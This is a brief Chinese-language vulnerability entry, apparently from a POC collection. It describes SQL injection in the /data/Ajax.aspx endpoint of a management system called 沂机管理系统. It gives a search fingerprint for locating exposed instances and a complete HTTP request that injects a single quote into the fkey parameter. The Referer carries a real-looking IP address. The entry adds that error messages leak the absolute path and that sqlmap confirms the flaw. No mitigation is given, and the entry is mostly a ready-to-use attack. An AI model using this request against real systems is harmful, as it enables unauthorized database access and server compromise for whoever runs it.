漏洞描述

沂机管理系统/data/Ajax.aspx接口存在SQL注入漏洞，攻击者可以获取服务器权限

漏洞复现

body="后台管理系统演示版"

POC

GET /data/Ajax.aspx?method=log_list&page=1&limit=20&fkey=1'&fdate1=2024-10-01+00%3A00%3A00&fdate2=2024-10-01+23%3A59%3A59 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Referer: http://221.2.93.215:8091/basedata/log_list.aspx?ModuleID=104&navtabid=a102&reporttitle=60xZrkSLVc4i9GTkoGayYA==&fwidth=600&fheight=355
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: ASP.NET_SessionId=d2dkwvksddxsvejtgqmh3oe3; pfbs_Login_compid=1001
Connection: keep-alive

bp 报错泄露绝对路径

sqlmap确认有漏洞